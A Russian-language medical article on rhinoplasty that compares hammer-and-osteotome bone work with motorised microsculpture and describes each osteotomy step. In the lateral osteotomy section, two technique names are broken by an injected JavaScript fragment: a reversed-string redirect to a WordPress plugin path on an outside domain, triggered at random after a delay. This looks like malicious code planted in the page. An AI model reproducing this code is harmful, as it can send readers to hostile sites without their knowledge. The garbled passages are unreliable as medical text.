Ринопластика это хирургическое вмешательство, задачей которого является изменение формы носа по причинам эстетического или функционального характера. Эти цели достигаются в большинстве случаев благодаря выполнению различного рода воздействий на костный и хрящевой скелет.

В плане того, что касается воздействия на хрящи, « открытая техника » лежит в основе значительного прогресса наметившегося в последние десятилетия, поскольку позволила обеспечить развитие многочисленных аутологичных имплантатов и лучших техник наложения швов.

При этом, воздействие на кость осталось не у дел и по своей сути бедным родственником, невостребованным данным революционным развитием. Это обосновано главным образом её глубинным расположением и сложностью доступа, которое открытая техника, если и улучшила, то очень незначительно.

Микроскульптура, которую мы детально рассмотрим в этой работе, является грамотным ответом требованиям « Минимальной инвазивности ».

СРАВНИТЕЛЬНОЕ ИССЛЕДОВАНИЕ ТЕХНИК ОСТЕОТОМИЙ

I- ТРАДИЦИОННАЯ ОСТЕОТОМИЯ

A) ЕЁ МЕТОДОЛОГИЯ

– В золотом веке мастоидита, трепанация височной кости была единственной используемой техникой. Её результаты без какого-либо исключения проявлялись в иррадиирующих разломах с парализацией лица и / или кровотечения из-за разрыва кавернозного синуса.

– Таким же образом, в ринопластике на протяжении долгого времени единственными используемыми инструментами были улучшенные варианты молотка и долота. Иначе говоря, инструменты, заимствованные у обработчика камня или в лучшем случае у столяра, указывая на тот факт, что в какой-то степени это относится к « ударной силе. »

– Естественно, предпринимались многочисленные попытки для замены молотка на пилу, но никогда это не принимало окончательную и убедительную форму.

B) ИНСТРУМЕНТЫ ТРАДИЦИОННОЙ ОСТЕОТОМИИ

– Даже хорошо заточенные, остеотомы представляют собой улучшенный вариант долота.

– Хирургический молоток это «ударный» инструмент, впечатляющий размер которого позволяет догадаться о характере рассечений с образованием осколков, которые он может произвести.

– Здесь представлены несколько напильников из карбида вольфрама, ручное использование которых позволяет догадаться о возможных эффектах от них.

– Классические костные щипцы AUFRICHT созданные для скусывания  « костного угла открытого свода », но неисключительным является факт захвата соседних тканей.

– 2-мм спица используется для ввода сквозь кожу, когда хотят выполнить промежуточную остеотомию полноценного характера с поперечным разрезом, благодаря ей происходит быстрое формирование плотного примыкания кожи. При этом, остеотомы подкожного использования позволяют выполнять только косые разрезы.

C) СЛАБЫЕ СТОРОНЫ ТРАДИЦИОННОЙ ОСТЕОТОМИИ

– В визуальном плане, работать приходится вслепую, поскольку остеотом или напильник скрывают степень воздействия на кость.

– Результаты неустойчивы, поскольку Остеотом обладает естественной тенденцией следовать по основным линиям и линиям деформации костной структуры, при этом мастерство владения инструментом не является определяющим.

– Возможно образование костных осколков при выполнении отделения.

– Полученные крылья носа очень маленькие и часто несимметричные.

Сильное кровотечение, является причиной образования экхимозов.

– Разрыв и нагрев мягких тканей влечет за собой образование отёков, в некоторых случаях довольно значительных.

– Для сравнения, предлагаем два примера :

• Первый демонстрирует расширенные экхимозы на 15-ый послеоперационный день после выполнения остеотомии с использованием традиционного хирургического молотка.
• На втором представлено незначительное проявление последствий в 1-ый день после проведения « Минимально инвазивной » хирургии

II- МИКРОСКУЛЬПТУРА

A) МЕТОДОЛОГИЯ

Микрохирургия глухоты за последние более чем 40 лет открыла эргономичные решения деликатного воздействия на кость среднего уха через отверстия, становящиеся все меньше и меньше, заменив трепанацию височной кости избирательным и поступательным просверливанием.

Вдохновленные этими действиями хирургического лечения глухоты, новые микромоторы от ринопластики были доведены до совершенства. Идея состояла в выполнении точных и целенаправленных действий при полном визуальном контроле, через очень небольшое отверстие открытого доступа на кости носа.

B) НОВЫЕ ИНСТРУМЕНТЫ МИКРОСКУЛЬПТУРЫ

– Это моторизованные инструменты с высокой степенью мощности рассечения, главным их отличием является отсутствие необходимости использования ударной силы хирургического молотка на чаще всего затупленный инструмент.

– Они позволяют использовать широкое разнообразие активных взаимозаменяемых насадок : микро-пилки, напильники, защитные сверла, микро-развертки.

– Благодаря наличию ножного привода они позволяют контролировать скорость и мощность мотора. (c)

– Количество воды для охлаждения также контролируется. Это ледяной физиологический раствор с ампулой Адреналина или каплей Бетадина. (d)

– Весь этот инструментарий подлежит автоклавированию, включая провода, в результате чего отпадает необходимость в выполнении дополнительных процедур стерилизации.

– Различают три ручных инструмента

• Так называемый ручной инструмент “все включено” который позволяет последовательно посредством смены резцов выполнять резекции горбинок, срединную остеотомию, латеральную остеотомию и наконец доводку с помощью напильника.
• Второй, так называемый, « вибрирующий » инструмент предназначен для использования пилы при промежуточных остеотомий. Это одно из самых полезных изобретений данного перечня.
• Наконец, микро-бур с возможностью выполнения рассечения сверлом или использования микро-разверток.

C) СИЛЬНЫЕ СТОРОНЫ МИКРОСКУЛЬПТУРЫ

– Три фундаментальных различия отличают микро-остеотомию от традиционной остеотомии :

• Прямое видение инструмента по мере его проникновения в костную структуру. Этот значительный прогресс по сравнению с остеотомом ROBIN или напильником, размер которого скрывает результат и позволяет оценить его… а также вероятные повреждения лишь по окончанию вмешательства.
• Прогрессивное приложение усилия. Это относится к использованию пилы, а не к ударам хирургического молотка на инструмент, режущей части которого не всегда является достаточной. В первом случае речь идет о разрезании. Во втором, речь идет о дроблении вне зависимости от точности выполняемого действия и мастерства хирурга. Образно говоря это различие между работой столяра и дровосека.
• Охлаждение посредством непрерывного орошения. С одной стороны это ограничивает появление кровотечений и экхимозов, а с другой при повреждении мягких тканей снижает выраженность отёка.

– Эти три сильные стороны выражаются в трёх конкретных действиях :

• Симметричном разрезе с обеих сторон двух латеральных равноотстоящих фрагментов горбинки спинки носа.
• Надежной прочности боковых стенок благодаря большему размеру разрезанных крыльев.
• Сохранение внутреннего угла глаз и его расположение на одном уровне с корнем носа, два основных эстетических и функциональных фактора выражающихся в переломе типа «зеленой ветки».

– Кроме этого, плоская кость, также как и носовые кости не обладают одинаковой толщиной.

• Так при латеральной остеотомии, пила должна больше задерживаться на середине хода своего движения, в более толстом сегменте ; и меньше вначале, возле угла глаза ; или в конце движения, возле грушевидного отверстия.
• Таким же образом, в ходе промежуточной остеотомии, пила должна оказывать более акцентированное воздействие на корень, и более слабое, или даже вообще никакого возле области внутреннего угла глаза.
• Понимание этих тонкостей послужит “небольшим плюсом”, который позволит добиться знаменитого перелома типа «зеленой ветки»: а именно сохранения хрупкой основы, не позволяющей обвалиться костному лоскуту, и, таким образом, проявлению прогиба, внушающего многочисленные страхи.

ИССЛЕДОВАНИЕ ПОСЛЕДОВАТЕЛЬНОСТИ МИКРОСКУЛЬПТУРЫ

I- РЕЗЕКЦИЯ ГОРБИНКИ

Восстановление костного свода носовой пирамиды начинается с резекции горбинки. Она может быть ограничена всего лишь несколькими движениями напильника, либо состоять в удалении нескольких слоёв при более выраженном проявлении горба.

A) ПРИ КЛАССИЧЕСКОМ МЕТОДЕ

– Редукция горба выполняется с помощью остеотома ROBIN, инструмента похожего на долото столяра, не всегда остро-заточенного, по которому достаточно сильно ударяют хирургическим молотком.

– Это цельное иссечение, даже в самых опытных руках несет определенные риски : чрезмерность коррекции с образованием впалости, асимметричность резекции, и оскольчатый перелом с неровностями по краям резекции.

– Вероятность данного риска увеличивается у людей с тонкой костью, особенно это характерно для женщин, но также, при слишком толстых костях, характерных для некоторых представителей мужского пола, так как вызывает соскальзывание инструмента и изменяет непредвиденным образом заранее намеченный план проведения иссечения.

– Данный риск многократно увеличивается в случае охрупченности кости из-за ранее проведенной ринопластики, при остеопорозе или кортикотерапии в течение длительного времени.

B) МИКРОСКУЛЬПТУРА

– Для нее в меньшей степени характерны вышеуказанные недостатки, поскольку при движении микропилы происходит всего лишь её замедление, но не отклонение, при этом не будет никаких переломов или костных осколков.

– К наиболее конкретному прогрессу в данной области следует отнести уменьшение риска чрезмерной коррекции, благодаря постепенному выполнению вмешательства : в самом деле, стало возможным выполнение иссечения горба за несколько этапов, посредством снятия на каждом из них тонкого, всего лишь в несколько миллиметров, слоя с возможностью оценить результат, выполнив наложение кожного покрова.

– Данная последовательная резекция слой за слоем может быть применена как для резекции минимально выраженных горбинок, так и при более явных их проявлениях. Послойная резекция это также повышенная безопасность при искривленном носе, требующем ассиметричной резекции.

– Моторизированный инструментарий позволяет производить вмешательство постепенно, под полным зрительным контролем прямого характера при открытой технике ринопластики или через представляемое посредством эндоскопической камеры видеоизображение при закрытой технике ринопластики.

– К тому же система охлаждения является эффективным средством в плане уменьшения кровотечения и отеков мягких тканей

II- СРЕДИННАЯ ОСТЕОТОМИЯ

– Она позволяет отделить боковую стенку от носовой перегородки после резекции горбинки. Это представляется необходимым для сближения обоих  сторон широкого костного свода. При этом, данная операция не является необходимой при наличии так называемого горба, типа « клинка сабли » у которого обе стороны уже находятся в очень близком положении по отношению друг к другу. В этом случае достаточной бывает проведение промежуточных остеотомий.

– Наиболее головной точкой срединной остеотомии будет начало промежуточной остеотомии возле корня прямо под местом образования боковой стороны.

– Также, не будет полезным выполнение продолжения данной срединной остеотомии в более отдаленную часть плотного характера хоботка, но важным является её продолжение в корне над местом образования носовых костей.

– В этой области, кость отличается наибольшей толщиной и её разрезание является наилучшим способом избежания иррадиирующего перелома над переломом  типа «зеленой ветки».

– Также, при выполнении данного действия очень важным является сохранение целостности боковой стенки собственной кости носа. Это не представляется возможным при выполнении косой остеотомии, в ходе которой наоборот происходит сокращение поверхности отделенной собственной кости и приводит к образованию досадной лестничной ступени в столь значимой части лица.

III- ВЫРАВНИВАНИЕ С ПОМОЩЬЮ НАПИЛЬНИКА

A) ПРИ КЛАССИЧЕСКОМ МЕТОДЕ

– Используют большой напильник из карбида вольфрама, который дополняет или заменяет операцию по иссечению горба. Это достаточно агрессивный инструмент по отношению к прилегающим мягким тканям, воздействуя на которые он провоцирует образование впечатляющего по характеру своего проявления отека при последующем периоде рубцевания.

– В действительности, это опухание образуется на кожном покрове спинки уже в ходе проведения вмешательства, что затрудняет точное определение понимания точности достижения желаемого результата.

Кроме этого, отсутствие охлаждения посредством непрерывного орошения приводит к повышению температуры и является предпосылкой к образованию дополнительного опухания.

A) МОТОРИЗИРОВАННЫЙ МИКРО-НАПИЛЬНИК

Принцип заключается в движении взад-вперед, при котором малейшее затруднение в действии остается под полным зрительным контролем. Его можно использовать в различных целях :

• В области границ открытого свода, после резекции горба.
• Для воздействия на слишком выступающий корень, для придания ему требуемой формы.
• Для воздействия на умеренно выступающую горбинку носа, порядка 1-2 мм, для придания ей большей ровности, не прибегая к использованию пилки.
• Для воздействия на « костный угол », который может отмечаться после удаления большого горба, и абляция которого позволит добиться лучшему выравниванию собственных костей перегородки. Это хорошая альтернатива классическим костным щипцам AUFRICHT, которые в некоторых случаях вырывают корень перегородки, вместо того, чтобы откусить её определенную часть.

IV- ПРОМЕЖУТОЧНЫЕ ОСТЕОТОМИИ

A) ПРИ КЛАССИЧЕСКОМ МЕТОДЕ, промежуточная остеотомия выполняется :

• либо  чрескожным способом, благодаря использованию тонкого остеотома размером 2-3мм
• либо посредством внутреннего доступа, с использованием изогнутого остеотома, размером 3-4 мм

B) ВИБРИРУЮЩАЯ МИКРО-ПИЛКА

Это наиболее интересное изобретение в микро-остеотомии. Она позволяет в ограниченном пространстве и с ограниченной видимостью, выполнить перпендикулярный разрез собственной кости, благодаря вибрирующему движению.

Данный разрез является также перпендикулярным по отношению к срединной остеотомии, что позволяет избежать образования какого бы то ни было нежелательного перелома, особенно возможного в области самой широкой створки собственной кости.

Данный разрез должен выполняться у основания собственной кости, перпендикулярно срединной остеотомии на глубину 2.3 мм и длину равную от 5 до 7 мм по направлению к внутреннему углу глаза. Внутренний угол глаза не должен быть задетым, а наоборот сохраненным для достижения желаемого эффекта перелома типа «зеленой ветки».

V- ЛАТЕРАЛЬНАЯ ОСТЕОТОМИЯ

Как и в классическом проявлении, она выполняется после промежуточной остеотомии в подкожном канале, проделанным с помощью скребка от грушевидного отверстия. Её целью является выполнения отделения собственной кости носа от верхнечелюстной кости.

Для этого используют полу-циркулярную пилу, движущуюся взад-вперед и обладающей встроенной системой охлаждения.

1 .В базовом, так называемом варианте « Low-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-Low »,

Выполнение остеотомии начинается на расстоянии от внутреннего угла глаза и направлено по отношению к грушевидному отверстию.

Таким образом, внутренний угол глаза, в отношении которого не практикуется никакой остеотомии становится местом образования перелома типа «зеленой ветки», это толстая кость которая выполняет своеобразную роль петли двери, поддерживающую её и не дающую ей обвалиться.

Этот вариант предпочтителен при широко-открытом своде для достижения поступательного латерального движения.

2. В высоком, так называемом «Low toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to High » варианте, который используется реже

выполнение остеотомии начинается на середине расстояния от корня до внутреннего угла глаза и направлено также по отношению к грушевидному отверстию.

В отношении внутреннего угла глаза следует затронуть всего лишь порядка 80% наружной пластинки, таким образом останется нетронутой внутренняя пластинка, позволящяя сохранить эффект перелома, типа «зеленой ветки».

VI- ПЕРЕЛОМЫ ТИПА «ЗЕЛЁНОЙ ВЕТКИ»

Этот последний этап костной мобилизации выполняется посредством мягкого латерального давления, что вызовет поступательное движение, не приводя к нежелательному обрушению : Костный лоскут останется держаться на своего рода «петле» внутреннего угла глазам : это и называется переломом типа «зеленой ветки».

Дополнительное применение напильника или чаще всего круглой фрезы представляется необходимым на данном этапе, особенно при проявлении асимметричности носа.

В КАЧЕСТВЕ ЗАКЛЮЧЕНИЯ

Это новая совокупность действий Микроскульптуры отлично вписывается в стратегию минимальной инвазивности. Она позволяет добиться наилучшего контроля для более точного ремоделирования формы костного свода, на который она исключительно и направлена.

Таким она менее агрессивна по отношению к слизистой ткани и кожному покрову. Послеоперационные последствия более просты по своему характеру, а процесс рубцевания проходит быстрее.